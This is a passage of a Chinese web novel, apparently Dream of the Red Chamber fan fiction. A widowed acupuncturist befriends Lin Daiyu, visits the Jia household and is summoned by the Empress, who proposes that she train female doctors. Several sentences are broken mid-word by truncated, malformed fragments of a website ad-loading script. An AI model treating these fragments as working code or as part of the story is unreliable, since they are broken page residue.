一个呢,不会日日和尚念经催他读书奋进,但见他写了几个大字就会夸,认真夸还不算,还要“明儿替我也写几个”,这不是真心觉得你好是什么?大雪夜里找出琉璃盏来,“跌了灯值钱,跌了人值钱”…… 白露想起书中细节,着墨之处便有这么多,那书页之外,一日日朝夕相处,两人的互动又有多少? 这样青梅竹马两小无猜,不带一点利益驱动而全然真情实意的纯粹感情,真是让听多了见惯了各种男女混乱事,心变得邦邦硬的她仿佛回到了校园时期,还没变成毒妇的日子…… 可赵妈妈眉头皱得死紧,她担心的不是这回事啊,“可这孩子大了,便是亲兄妹也该稍微隔开了。” 赵妈妈为人实在是敏锐。彼时只知道贾府里有个“宝二爷”,还以为跟寻常大家公子一般,成日忙着读书。谁知道跟黛玉姑娘说个话的功夫就见这位爷闯了进来,言语之亲近,便是同胞兄妹也不能比。 她越想越觉得不对,出了贾府,转头就去了附近街上脂粉铺里。铺子里小二正闲,她慢悠悠转着,正好跟小二东拉西扯两句。 “太太,不是我多嘴,贾家那群小爷们实在被惯得不成样。学堂再无聊,先生再不好,能读书是多大的福气啊,怎么就纵得主子小厮,大大小小一伙子全打闹了起来? 况且贾家那小爷说是要给同窗请医,可我听说,那二人早不去学堂了,家里又没正经请个先生,谁知道一天到晚裹在一起是念的哪门子书? 还有就是,那同窗说是东府宁国公府里,先前死了的小爷媳妇的兄弟,又有说那媳妇死的不明不白,背地里多有牵扯……” 赵妈妈出门一趟又装了一肚子八卦回来,引得兰叶和秋桂都特意丢了手里的针线,搬了小板凳来暖阁里听她说话。 絮絮叨叨一通说下来,赵妈妈的意思,白露这才算听明白了。 总之就是那贾家小爷们都靠不住,那宝二爷看起来也靠不住,虽跟黛玉姑娘从小一处长大,现在看着还好,可以后呢? “以后……” 白露才小磕了一下“木石同盟”,转眼就被“真·封建卫道士”的赵妈妈按头看清了现实。 是啊,是啊。 虽然宝玉和黛玉才十岁出头的年纪,放她之前还是小学生呢。你会在意你家小女孩跟隔壁男同学关系好天天一起上学放学写作业吗?不会吧不会吧?不会那么老古董吧? 可老天,现在终究时代不同了! 在赵妈妈这样的真封建人眼里,宝玉跟黛玉在这个年纪就该懂事了,再过几年都该相看亲事的人还这般亲密,实在是大大不妥。 “那妈妈的意思?咱们该想个法子把黛玉接回来?!” 白露一下子兴奋起来,好啊!这样也好!把黛玉接出来,总比困在贾家天天跟贾宝玉朝夕相对,眼里心里都是他,为他流尽一生泪好吧?! 就算要报恩,咱们换个法子报不行吗? 而且赵妈妈说起秦钟倒是提醒了白露。贾宝玉是对林妹妹好,可他对秦钟,还有学堂里的香怜玉爱,也一样“八目勾留,或设言托意,或咏桑寓柳,遥以心照”;见了蒋玉菡就互换汗巾;做了梦就拉袭人试云雨情;叫碧痕伺候洗澡能洗两三个时辰…… 哼!男人! 白露顿时觉得自己磕的糖里都裹着屎,恨不得狠狠呸上两声! 心里呸完,她一脸期待地看着赵妈妈,“说起来咱们才是跟黛玉妹妹一个姓的一家人,要是把她接来,你说贾府老太君能不能答应?” 赵妈妈脸色一僵,“这,这……太太说笑了。” 这可太为难了,谁还能跟国公府抢人去? 赵妈妈说不出话,兰叶和秋桂面面相觑,也不知道怎么应对白露这想一出是一出。 可白露是认真的。大观园再好也不过短短几年的乌托邦,贾家乌烟瘴气,看似风头正盛,实则江河日下,最后树倒猢狲散,女孩们四散飘零…… 要是能想个办法,彻底改写剧情就好了。 白露有了想法,却没有具体办法。 如今她被礼法困在这方寸之地,做什么都束手束脚,就连给人看个病都要偷偷摸摸,生怕传出去让人嚼咕。 不过日子倒也没有白露想的那样无聊。 或许是张家太太或张家小姐私底下对关系亲近的亲朋好友宣传了她的针灸本事,没过多久,出门买东西去的赵妈妈又 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 偶遇了隔壁家婆子。 “说是那家小姐身子不爽,眼看就要出阁,想求太太……” 白露确认了情况照样痛快答应,出门出门!她就要出门! 出门给小妹妹扎了两针,受到家长厚礼感谢,回家途中买点街头零食,边吃零食边看兰叶和秋桂登记日结工资。 一来二去,白露某天惊讶地发现,如今自己竟然需要仔细安排每天的日程了! 上门求她扎的,求她上门扎的,有时候忙起来一天能扎三四个,这不得做好时间管理? 白露翻了翻手边厚厚一叠出诊记录,心想她现在是真的火了,前面的忘了中间的忘了后面的也忘了,总之平时一定要注意言行举止,不要让别人以为她是个多坏的容嬷嬷! 医术有保证,医患关系就容易处得好;处得好,患者就容易对医生敞开心扉。彼此交流多了,白露慢慢就从初来乍到一无所知的状态进化到被动建立了庞大八卦网。 这个八卦网以官太太尤其是中低阶文官太太们为核心,辅以太太太们或读书人,或土地主的娘家亲戚,内容包括且不限于宅斗风云、鸡娃之路、少女心事、儿童日常…… 别说东家太太斗小妾,西家姑娘暗怀春这种乍一听很刺激冷静一想也很平常的八卦,就连几个小豆丁被她扎好后,都愿意拉着她的手跟她说点不能为外人道也的悄悄话,比如“姨姨,我把昨天的药全倒了,我是不是坏孩子,我是不是该去给祖母和母亲道歉?”之类的…… 真的,白露觉得自己知道的实在太多。 再这样发展下去,她怕不是迟早要进化成红楼第一情报商! 暂时不准备开展新业务只打算默默吃瓜的白露这日又听说了一件大新闻。 “天恩浩荡,下旨让宫里贵人们各自回家省亲,也不知道是何等的热闹。” 白露一恍惚,原来过去这么久了,剧情才进展到这? 也是,小说里一句“又不知历几何时”就算转场,就说修好了大观园,可干工程怎么可能不花时间? 白露还记得元春省亲是正月十五,之后就是大家搬进园子里。 算算日子她这三年刑期也快到头了,是时候准备准备正式上贾家的门,跟黛玉会历史性的一面了! 白露划着日历,等啊等,等贾府忙完了省亲过完了大年,精挑细选了一个宜出门的日子,正式给贾家递了拜贴。 谁知帖子递了进去,却如石沉大海。 “是好是歹,总该回个话才是。这般不理不睬,难不成是瞧不上咱们家,觉得咱们太太不配登他家的门?” 兰叶一日能追着管家问三次,次次都没有回帖。这可叫她气得不行。 这时候赵妈妈忽然匆匆跑了进来,脑门上的汗都来不及擦,“出大事了!出大事了!太太可在书房里?” “出了什么事?”白露赶紧放下笔出来。 “那,那荣国公府里的宝二爷疯了!说是就要不成了!” 9. 初见黛玉 贾家的宝贝二爷犯了病,这可不止把贾家闹得鸡飞狗跳,京城里大大小小的权贵官吏没两天就都知道了这桩新鲜事。 因为白露家过了孝期,于是隔壁家的周太太也能隔三差五来串门子。 如今张大姑娘和二姑娘已经嫁了人,可她膝下还有个小的。周太太出门的时候就把小姑娘一起带上,到了白露家里就让她跟康姐儿一块读书写字。 别说,自从有了个伴儿。两个小姑娘不管是念书还是玩儿起来都更有意思了。 周太太一半心神放在女儿身上,另一半就跟白露扯闲篇。 扯什么闲篇?最近除了荣国公府的热闹,还有什么闲篇好扯的? “宫里的太医、街上的大夫,城里但凡叫得出个名字的医家都被请了个遍。也不知道究竟是什么毛病,没一个见效的,这不,为了这贾府的富贵,如今城里城外的和尚、尼姑、道士也赶着趟儿献符进宝来了。” 周太太还掰着手指头一个个数,“那什么清风观的罗真人、太乙观的钱道长、宝应寺的了渡大师、白水庵的无尘老尼……” 白露听得好玩,“大师们平日里辛苦闭关修行,如今急着普渡苍生,便连飞升大事也顾不上了,当真是用心良苦,令我等敬佩。就是不知道如今荣国公府门口是怎么个热闹场景,一个二个你方唱罢我登场,怕不是就差在那大门前打擂台了。” “哎哟可不是嘛!”周太太乐得前仰后合,“听说最多的时候一天能灌七八海碗的符水,卖香烛都忙着用车往他家拉货。可结果却没一个中用!如今我看那符水符咒也就那么回事,亏得之前还花了重金供奉!以后可再不干了!” 周太太自顾乐完,忽又扑哧一笑,“那荣国公府可不是寻常人家,好妹子,你有这本事,何不趁此机会去瞧瞧?要是能救了他家宝贝金孙和孙媳妇,不敢说往后万事无忧,你家姑娘的嫁妆钱怕是有着落了。” 白露从来没跟其他人透露过自家跟贾府还真有那么一丝悬吊吊的渊源,听闻此话也只是轻轻一笑。 “国公府的门可难登,再说我也只知道治一些女儿家的病症,可不敢到人家金孙面前丢人现眼呢。” 周太太想想也是,“我也听说那府里的人眼睛都长在脑门子顶上。要是不拿出重礼开路,你我这样的人家,想把帖子递进门去都不能够。” 说说笑笑的,等送走了周太太,白露才静下来回想剧情。 宝玉和凤姐比病虽险,到底不会要了性命。那癞头和尚和跛足道人念一段经,让“宝玉”重焕光彩,破了马道婆的诅咒,两人也就无碍了。 说到底,人家那是玄幻层面的道法对轰,跟她这针针到肉的医疗系统根本就不是一回事。 专业完全不对口,白露也就没想过跳出去当显眼包。 等等?! 她又忽然想起来一件事来。 书里不是说“宝玉”非宝玉,乃是真顽石吗?那和尚念了经,看似让“宝玉”“显灵”破咒,可究其根本,“宝玉”和上面“除邪祟”的刻字不都是因为他给石头施了障眼法? 说到底,通灵宝玉就不是什么真宝玉,上面玄叨叨那么多字也就是唬一唬凡夫俗子,哪里就真的能“除邪祟”“知祸福”了。宝玉和凤姐能好,不是因为“宝玉”显灵,而是和尚施了法。 所以那马道婆一番诅咒就让宝玉的“宝玉”变成呆石头,是不是反而等于她才是破解了障眼法,让“宝玉”露出顽石的真相来了? 嘶! 白露被自己这一猜想吓了一大跳! “不会吧?但说不定这才是事情的真相!”她在屋子里转来转去,头脑风暴越卷越快,“本来,‘通灵宝玉’的骗局即将败露,所以那和尚道士才急急忙忙赶来做法,让大家以为确实是“宝玉”显灵才救了宝玉和凤姐。这样一来不仅保住了‘宝玉’眼下的风流富贵,贾府上下肯定也对‘宝玉’是‘真宝玉’一事更加深信不疑!” 虽然不知道两个和尚道士这么热心折腾是为了什么,但总之,是很高明的操作呢! 这要是去搞传销,满京城里所有玄学同行加起来都打不过这两个。 白露拍了拍胸口,幸好她跟这群人不是一个赛道的。 有及时追更的周太太和赵妈妈热心转播,白露就算足不出户也把“荣国公府中邪风云”一集不落地追完了。 算算日子,贾家折腾这么一回也该清闲下来了,白露便又叫人递了拜贴。 过去几年里她月月都叫人按时上门看看黛玉,所以虽然人没亲自去过,贾府太太奶奶姑娘们却也都知道林姑娘在京城里还有这么一门亲眷。 如今收了帖子,贾母便对凤姐道:“既是亲戚,自然该好生招待。也叫你大嫂子来,你们年轻媳妇一起说说笑笑的。” 凤姐暗道贾母看中黛玉,这林家便是破落了,也得给两分颜面,于是立马笑着应了下来。 知道贾府的门不好登,白露带着兰叶和秋桂收拾了好一堆东西才敢上车。 多亏了这几年风里来雨里去的,库房里收集了好一堆东西,要不然还不被人当成上门打秋风来了? 白露从前也看过电视剧,如今见了凤姐真人,一眼看去,虽跟电视里的演员们完全是两模两样,但说起来也是一等一的大美人。 再说凤姐,先头还有三分漫不经心,可一见白露,却是真真眼睛一亮。她一上来就挽着白露亲亲热热地往贾母院里去,“妹妹这一来,老祖宗又该可惜这天底下竟然还有好姑娘没落到咱们家里了。” 哈哈哈,婉拒了了哈。 白露心里尬笑,面上却跟凤姐一样的活泼开朗,夸她神妃仙子一样让人见之忘俗,夸她强出寻常闺阁女儿百倍千倍,夸她不仅人美心更美,孝顺又友爱,简直天上有地下无…… 至于她怎么了解凤姐的?哎,了解的倒也不多,都是婆子们回家去,说黛玉妹妹说的罢了。 凤姐自知自己这管家婆遭人恨,如今一听说有人面上不显,但心里却是记得自己的好的,顿时更加舒坦了。知道白露家里有小孩子,又跟白露聊 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 起孩子的事情来。 两人一路不冷场。到了贾母处,进门就看到一屋子大大小小、风姿各异的美人,白露心中一震。 天呐! 这可是原生态!妈生脸! 可不是糊了百八十层滤镜后强行绝美但只能让观众狂喊诈骗的人工神颜! 白露恨不得时间就此定格,好让她能一个个细细欣赏下去。 有那么一瞬间,她忽然理解贾宝玉为何不恋功名利禄,只愿长长久久地同姐姐妹妹们在一起了。 要是整天只能对着一群黑心麻子肥头大耳老树皮脸,就算上金銮殿又如何,当然是选可爱聪明又美丽的姐姐妹妹们了。 白露看得眼睛都快直了,根本没注意到众人也在暗暗打量她。 打扮虽素净,可此人生得一副好样貌,本就无需金银锦上添花。即便青春守寡,可又不像大嫂子一样心如槁木,反而兼具姊妹们的轻盈无忧与二嫂子的万事由我,别的不说,只看那一双清明澄澈的眼睛,便知道这也是个玲珑妙人。 贾母素来喜欢聪明漂亮的后生,之前白露对黛玉多有关心,她就心生好感,如今一见,更是觉得极合眼缘。 就是可惜了这么个人,年纪轻轻就带着两个孩子守寡。 白露看了一圈,对此书里的描述,不费吹灰之力就分清了众人。 “这位肯定就是黛玉妹妹。”她主动拉起贾母身边的一个小姑娘,“从前虽没见过,可妈妈每回来了府上回去,必定要在我耳边叨叨叨叨好一阵妹妹如何如何伶俐,如何如何灵秀。 我从前自持容貌不逊于人,有一次便问妈妈说,那我比黛玉妹妹如何?谁知我们家那妈妈上一秒还有说不完的话呢,被我这么一问,竟然就像被卡了脖子的鸭子一样,半天嘎不出来一个声来! 我当时就扣了妈妈的赏钱!唉,今儿才知道她老人家竟然是个正直不屈,宁不要钱也不说虚话媚上的好人。” 白露话音刚落就惹得一屋子人笑闹起来。 黛玉原本被她拉在手里,这下反而把她往凤姐身边推,边推边说:“原这几年是我承错了嫂嫂厚爱,今儿才知道嫂嫂是找错了妹子,不该找我,该找凤姐姐去!” “错不错的有什么要紧?”白露一边顺势拉着凤姐,一边抓着黛玉不让她跑,“都是我的好姊妹,来都来了,正好给我一起打包回家去,如何?” “啊哈哈哈哈哈哈哈!” 一群人又笑着说“亏你长得这幅模样,原来是看错了你。怕不是大家太太,是山里来的山大王!” 笑了闹了一阵,白露这才对贾母提起:“我一见了黛玉妹妹,心里就稀罕得不得了。如今天气好,不冷也不热的,正好让黛玉妹妹随我回家住上几天,也给祖宗们上柱香,让他们瞧瞧除了我身边两个皮猴子,到底林家还有这么好的姑娘。” 凤姐心里一咯噔,赶忙去看贾母的脸色。 贾母还是一脸笑意,“这是应该的,只是你别瞧着玉儿好就真把人抢了去,那我可就不依了!” 10. 辨文武派系 出门去别家小住,不管是对黛玉,还是紫鹃、雪雁来说,都是格外新鲜的事。 一大早,紫鹃和雪雁跟着林府的两个姐姐端水进屋,伺候了自家姑娘梳洗。过一会儿,这府里的姐儿先从东厢房出来到了正房里,然后别院另居的哥儿也带着书童过来。 几个主子吃了饭,哥儿就先行礼告辞,要出门读书去。林家没有家塾,也不见请先生,哥儿是要去那家私塾不成? 紫鹃好奇,兰叶就说了:“咱们家跟隔壁张翰林家是几十年的邻居了,打老爷老太太那会儿就一直处得好。翰林和太太好心,知道咱们太太妇道人家多有不便,主动让安哥儿跟着他们家里小爷们一道念书呢。” 紫鹃恍然大悟,正好看见那边林家小少爷端端正正地辞了妈又辞了自家姑娘,最后跟康姐儿打了招呼,就跟书童一人提着一个小书篮子出了门。 负责照看两个小主子的魏妈妈一路跟着送出了二门,不过走到大门口就不出去了。剩下几十步路就由管家护送,送到人家家门口就回来,接着忙其他事情去。 正院里,姑娘带着姐儿在学诗。倒不是姑娘没事找事,是姐儿听说了姑娘会写诗,就求着姑娘给她讲诗。 有人带孩子,林家太太正好乐得清闲,自己在一边画画。 紫鹃原本来想跟着伺候,可太太挥挥手说不用她在一边干站着。她看看姑娘,姑娘也叫她自己玩儿去。 好在太太身边两个姐姐来拉她,让她跟她们一起去包香包。 “马上要到端午了,塞着草药正好驱虫子。咱们多包些,大家都有得戴。” 于是紫鹃就这样包了一上午香包,染了一身草药味,倒是挺好闻的。 中午吃了饭,太太让姑娘先别急着睡,非拉着她跟姐儿玩了会华容道才放两个人去午睡。 主子们都睡了,太太身边的两个姐姐也去屋子里睡。雪雁心大,人家睡她也跟着睡。紫鹃放不下心,硬是一个人打着哈欠守了一中午。 下午大家都起来了。太太继续待在书房里。姐儿倒是不听诗,拉着姑娘开始弹琴了。 紫鹃看两个姐姐,包了一上午香包,这会子又拿了纸笔不知道记什么,她不好意思多打听,看打了半上午瞌睡的魏妈妈在做针线,也就帮忙一起给哥儿姐儿缝衣服。 到了傍晚,等到哥儿回来了,一家子才用晚饭。 用过晚饭,主子们也不得闲,因为哥儿还要温白天学的书。在太太书房里温了书,姐儿就来讲她白天学的诗。 别说,还真讲得头头是道的。 紫娟看得稀奇。兰叶和秋桂见了,就悄悄同她说:“哥儿平日里都跟着隔壁家的先生学四书五经,诗集倒是看得少了。姐儿倒能随性,翻到哪本书高兴看就叫太太讲哪本书。 这两天姐儿忙着读诗,所以晚上就跟哥儿讲诗。早来半个月,你还能看见咱们姐儿跟哥儿讲《世说新语》,讲古来奇女子呢!” 紫鹃就忍不住在多看林家小哥儿小姐儿两眼。 到了晚间休息的时候,姐儿非要拉着姑娘一起睡。紫鹃还想守夜,但魏妈妈说她年纪大了觉少,她守就行。魏妈妈门一关,紫鹃只好回屋,回屋的时候正好看见兰叶和秋桂两个姐姐正好也吹了灯。 院子里安静下来,紫鹃躺在床上,耳边只听得见雪雁轻轻的呼吸声。 她睁着眼睛睡不着,心里想白天见到的人啊事。 大小三个主子,太太身边就只有两个大丫鬟伺候;两个小主子,哥儿身边一个书童,姐儿身边一个大不了几岁的小丫鬟,再就是魏妈妈。魏妈妈还多顾着姐儿些,哥儿那边,大晚上院门一关,就只有书童和一个老仆照应着。 刨开这些人,整个府里就只有一个大小杂事都管的管家、一个内院采买赵妈妈、一个拉米拉菜拉柴火的小厮、负责厨房的柳妈妈和给她打下手的一个小厮和他妹子,和一对儿负责花花草草以及各处洒扫的老夫妻。 其余的,没有针线房,没有浆洗房,没有开水房,没有车马房,没有茶药房……更别说围着主子们伺候的大大小小丫鬟婆子了。 针线怎么办?大衣裳请铺子里的巧手娘子做,里衣什么的自然家里就半包了。那浆洗呢?衣裳什么的院子里就洗了,大物件就找附近街上媳妇们,都是合作了好些年的,这附近人家都这么干,没什么不放心的。 茶水,除了好茶叶登记了收起来,家常吃的茶叶就放在各人屋子里,开水就在柳妈妈那打。打了开水就能泡茶,怎么这事谁还不会吗? 车马,车倒是有,可太太懒得养马了。养马的老头年纪大了也伺候不了马,太太干脆叫他转岗养花去。要出门了,大街上哪不是租车租马的。 至于药,药都在太太院子里收着。谁病了就大夫,大夫开了药就去太太那抓,抓不到就去街上买。太太说了,这东西又不能当饭吃,除了好药材有机会收就收着点,其余的要么多干什么。 那主子们呢?这么点人伺候,怎么伺候得过来?兰叶和秋桂闻言就笑了,说你看看太太和姐儿,是要一堆人前前后后转着伺候的吗?我们凑过去献殷勤,太太反而要说你没事就去找点别的事。 就这么个宅子,就这么点人。紫鹃一天下来就摸清了林家平时过的什么日子。 得了空,紫鹃找在院里桂花树下逗猫的雪雁说话:“林家日子过得清简,也不知道姑娘习不习惯,受不受得住。” “这有什么不习惯?受不住的?”雪雁抱着猫笑,“从前老爷还在的时候,我跟小姐不就是这样长起来的?如今反而更像回了自己家里呢。哎哟,瞧我说的什么话,这里本就是林家不是。” 雪雁说完就跑去叉果子吃,留下紫鹃一人心里如惊雷炸响。 是啊!亏她一心担心姑娘受了委屈,却没仔细想想姑娘到底稀不稀罕贾家呼奴唤婢的富贵日子?! 紫鹃回头去看黛玉,却见不知道管家来说了什么,太太就放下笔起了身。 “说接你家来住几天,可我看这大院子换到小院子,换来换去也是院子,四四方方的天看久了,究竟没什么意思。”白露拉着黛玉往外走,“马上端午了,城里城外都热闹得很,前儿隔壁周姐姐还约咱们去赏花呢,走走走,带你出门逛一天。” 马车、衣服、零钱、吃的喝的用的,就连防中暑的药丸子甚至银针都带上了。 白露准备周全,租了两辆车,把家里差不多一半的人都带着出门看热闹。 紫鹃看了看天上,觉得今天太阳不小。可见黛玉一脸兴兴,话到了嘴边还是咽了下去。 到了静玉池边 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,白露找到周太太汇合,然后炫宝一样拉着黛玉给关系好的一圈太太小姐们介绍。 “这是我家妹子,前巡盐御史林大人家的千金。” 黛玉见白露这么一说,周围太太们立时更热情了,拉着她关心问候,又给了许多见面礼,心里略一想,转眼就明白了这是为什么。 她家祖上虽同外祖家一样,也因军功封侯,可家里早早就鞭策子孙读书,与文士大儒往来颇多,到了父亲这一代更是高中探花,彻底迈进了文官圈子里。 如今对着一众文官家眷,嫂嫂不说她外祖门楣,只说她父亲是谁,难怪众人对她如此热情。 这边太太们聚在一起想说着大人八卦,那边就有姑娘们来拉黛玉去玩姑娘们的游戏。 白露叫兰叶跟着去,然后就放心跟老姐妹们一起坐下打牌。 有太太就趁着叫牌,低声道:“你也真是嘴紧,从来也不跟咱们说一声你家还是林大人同族。你这么着,咱们以后还怎么好意思跟你说那府里的八卦。二筒!” “就是。三条!” 白露跟着出牌,“这怎么了,我家老爷去了,林大人一样去了,咱们家跟那府里可不是一回事。幺鸡,要不要。” “我瞧着你家那姑娘也不像是那府里出来的。这么个清明灵秀的好姑娘,身子又弱,合该跟着你才是。碰!九万要不要?” “是啊,我最近听见点事,不是什么好事,你还是想想办法吧。要要要!我胡了!” 白露竖起耳朵,“什么风声?说来听听?哎呀姐姐你说你怎么就胡了!运气这么好,亏我这做好的牌就等着你呢!” “哈哈,知道你不安好心,先跑一步。我是听说,那家里乱糟糟的,修道的修道,喝花酒的喝花酒,一群爷们享着福,偏不知道惜福。 前两年去了个孙媳妇那个阵仗就不说了,前段时间为了个小爷,也是闹得满城风雨。贵妃在宫里虽然有脸面,可多的是人见不惯他家。就说最近,忠顺王府不知道怎么恼了,王妃听说了那家小爷淫辱母婢害人跳井的事,就急着进宫跟娘娘讲笑话呢。 你说说,林大人的千金留在那府上,以后了怎么办呢?” 啪! “九筒。” 白露打出一张牌,正谢着老姐妹们的提醒,就听外边忽然喧哗起来。 “宫里来人了!”一群丫鬟婆子们急匆匆跑了进来通报。 紧跟着就是几位头戴玉冠的女史。 “林家夫人白氏何在?”当前一人朗声道,“皇后娘娘召见,还请速速入宫。” 白露一步上前,“民妇在此。” “请夫人这就随我们入宫。” 白露不慌不忙,“尚有小妹小女在侧。” “无妨,娘娘吩咐,夫人若不放心,一并带去宫中便是。” 带黛玉入宫? 白露悄悄握了握手。 虽不知皇后找她做什么,但这或许也是个机会? “那就请女官大人引路。” 白露出门时,正好瞥见牌友们悄悄给她使眼色。 使的什么眼色她也不懂,不过其中一个姐妹的口语她倒是看清了。 “贾家,玉姐儿。” 贾家?黛玉? 她明白了! 11. 为黛玉请爵 宫车滚滚,滚得人心烦意乱。 黛玉抬头看了眼闭目凝神的白露,轻轻蹙眉,又低下了头。 车到了宫门便停了下来。 一位女史先连请她们下车,“夫人请随我去面见娘娘,自有人带两位小姐去侧殿安置。” 白露转身捏了捏黛玉的手,又拍了拍小姑娘的头,什么也不说,便随女史往东宫后殿去。 没错,虽是皇后娘娘召见,可如今娘娘却不在中宫,而在东宫。 白露想起来原著里有元春封妃后贾政前往东宫谢恩一事。再联系文里提到的太上皇和皇太后,看来当今皇帝虽已登基,但太上皇还在,所以他也只能带着后宫缩在东宫这一亩三分地。 不能真正入主皇宫的皇帝,是不是也意味着无法真正执掌皇权? 白露行事虽小心谨慎,可心里却无法对这所谓的皇家、皇权升起半点敬畏。 自踏进这宫墙里,她就只想吃瓜。想弄明白元春到底是怎么突然就当上了贤德妃?她背后的贾家,以及牵扯在一起的四王八公到底是怎么个立场? 从后文贾家败落来看,虽然有他们自作孽的缘故,可背后的大靠山一定也出了什么问题,才导致无法保住他们? 秦可卿死的时候,薛蟠还向贾珍献了一副据说要送给什么义忠亲王的好棺材?都是送棺材的关系了,想必薛家以前同这位义忠亲王应该非常亲近,薛家亲近,那就是贾家,是四大家族,是四王八公亲近。 嗨呀! 想到这里,白露就恨不得锤锤自己的脑子。年都过了两三个了,她怎么就没有早点想起来去打听打听这位义忠亲王到底是谁?到底犯了什么事儿呢? 这皇宫里人均八百个心眼子。她这么一无所知地撞进来,别到时候把小命都玩完了! 临近皇后的宫殿了,白露才后知后觉得紧张起来。 不过这份紧张落到上位的皇后眼里,就变成了臣下的敬畏。而此时此刻,她或者说陛下,需要的就是所有人的敬畏。 “请夫人起来,赐座。” 白露低着头,不敢盯着皇后看,但听声音比王夫人年轻些,但又比凤姐低沉,估计也有三十多快四十了吧。 “早就听说过夫人的大名了。” 啊? 白露脑瓜子转得飞快,立刻就起身请罪。 “民妇寡居在家,非是不诚心为先夫守孝……” “本宫知道。”皇后又示意一旁的宫女把白露扶起来,“夫人医者仁心,所以才不辞辛劳奔波于外。这是行善积德的好事情,本宫钦佩夫人还来不及,又如何会责怪?” 白露连称不敢,心里大声催促皇后娘娘最好赶紧把事情说清楚! 要送钱还是要送礼?还是想来挨两针试试?反正都利索点! 但是皇后好像就是单纯把她叫进来聊天的? 白露很想仔细分析一番皇后的用意,可话赶话的,人家问一句她就得赶紧答一句,哪里有那么多脑子再去额外做功。 皇后娘娘似乎对她的医术很好奇。问她师从何人?学了多久?那些官太太们是怎么找上她的?甚至还问她看病是怎么个收费法? 白露不信皇后一点没调查过她,估计她家里几只猫晚上睡哪个屋都清清楚楚呢。不过这些事也没有不能说的,白露一一作答。皇后听了便默默点头。 又瞎扯了一会儿,皇后才终于说:“天下大夫都是男子,可怜女儿家求医不便,多少小病都熬成了大病。便如我身边的奶妈妈,年纪大了,从前不显眼的隐疾也发出来了。如今请了夫人来,便是想请夫人看诊。” 就这…… 白露真是服气,这有什么话是不能直说?前面铺垫一大堆,感情是让她现场面试? “民妇必尽力而为。” 白露跟着女史绕到后面一间小屋子里,见了皇后的奶妈,熟料地取针消毒开系统。 系统显示这位奶妈全身上下大小毛病不少,最突出的是腰肌劳损,一看就是长年久站。 伺候人就是辛苦啊。 白露一边在心里批判封建制度,一边给患者来了一套全身针灸。 花的时间长,正好让她理理今天是怎么回事。 然而想了又想,她毕竟拿的不是《穿越之神医寡妇要逆天》剧本,以前看的一堆宫斗剧也完全没有参考价值,她总不至于是性转温太医吧?除此之外还有什么能参考参考? 一个女医生和皇后和皇帝?那不就是大长今?只可惜他不会做饭只会吃。好吧,半个大长今……所以然后呢?然后皇帝要得肠梗阻? 再胡思乱想下去就不礼貌了。 白鹿赶紧强迫自己回神。眼看疗程结束也没想出个什么头绪来,只好老实收针,关怀完患者后就跟着这位赵奶妈和女史回到了皇后面前。 赵妈妈面对皇后的恩德感激得痛哭流涕,一番肺腑之言听得所有人都掩面而泣。 白露不敢在后宫老大和她的人精小妹儿们眼皮底下东张西望,左顾右盼,只是听到一声轻轻啜泣,她也立刻掏出帕子按在眼角狠狠一搓! 这赵奶妈不止歌颂皇后娘娘,还非常上道地吹捧了一下白露的医术。 “之前身上一直痛着,可白夫人这一套针下去,竟然就全好了!” 白露当然连连谦虚。 可皇后娘娘很大方,不仅对她夸了又夸,叫人准备厚礼赏赐。 哎呀,皇后娘娘真是太好了,太慈悲了,太感人了…… 可恨她是个绝望的文盲,完全不会写诗做赋,否则今儿个高低吟唱一首《感皇后慈悲心肠大作》。 “听说夫人家还有一个小姑子和一哥儿一姐儿,两位姑娘今儿也跟着入宫了?既然来了,便叫本宫也见见,夫人教养的孩子必定都是好的。” 白露心思急转,康姐儿还是个小孩子,皇后既然慈悲宽和,必然对她只有夸的。 而黛玉?黛玉是数代列侯的林家女儿,是死在了任上的盐政官的遗孤,是宫里贤德妃的表妹,是宫外不知道跟皇帝一不一条心但目前势力不小的贾家的外孙女…… 所以皇后对黛玉是什么立场? 白露心里一时纷乱如麻,甚至之前想的,要是她能做点什么让皇后满意,就想办法为黛玉求求关照的想法也彻底冒不起泡来了。 是她想的太简单了。 皇宫内外,勋贵重臣,文官 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 武将……虽各有立场,实则你中有我,我中有你。就算置身其中仍恐被蒙蔽双眼,更何况她这彻底的局外人? 不过黛玉毕竟年纪还小,而且素来体弱,所以就算皇后或者其他人有什么想法,她也能找到借口推辞了…… 这样想着,就见黛玉牵着康姐儿跟在女史身后进了正殿。 皇后高居宝座,一眼就看清了款款而来的两个女孩儿。 小的那个自然玉雪可爱,大的这个却是真真叫人眼前一亮。 “姑娘几岁了?可也上过学?看着弱了些,现可吃着什么药?往日也不见你家里人带你入宫来,却叫本宫如今才知道贵妃娘家还有这样标志的女儿。好容易来一趟,喜欢什么吃的,什么玩的,只管告诉我;必不白扰了你们游湖的雅兴……” 皇后拉着黛玉的手就说个没完。 再回想白天湖边老姐妹们见到黛玉也是如出一辙的反应,白露心道凤姐经典语录果然永不过时。 皇后那边关心完黛玉和康姐儿,又转过头来,好似不经意间对白露笑道:“夫人有这般本事,实乃女儿家大幸。只可惜夫人终究一人,若是能再有百八十个,全京城的女人便要笑开了花;若是有千万个,这天下女人都要念老天保佑了。” 白露觉得皇后话里有话,“娘娘的意思是?” “夫人心善,也是聪明人,本宫便也不藏着掖着了。”皇后轻叹一声,“方才的话是再真不过的真心话。天底下若能多有几个像夫人这样医术精湛、心怀慈悲的女人,便能少千百个病痛缠身却不便请医问药的女人。 本宫身为皇后,自然不能只顾自己膝下女儿和身边人。本有心请夫人开堂授课,教授医女,可夫人的医术乃属家传,本宫又如何能慨他人之慷? 夫人,却不知若是本宫凑请圣上,为夫人之子赐以爵位,能不能请得夫人广收弟子,造福天下女子?” 白露傻眼了。 “这……” 白露还没想好怎么回话,康姐儿就唰的一下高高举手,这是白露平日里在家同她讲课时教她养成的习惯。 皇后不知道小姑娘想干什么。只是小小的人把手高高举着,看起来倒也怪可爱的,于是便点点她的脑袋,“你说。” 小姑娘便大大方方地问了:“民女请问皇后娘娘,为什么娘娘想让我母亲传授医术给女大夫,却不直接把爵位给我母亲,而要拐个弯儿给我哥哥呢?” 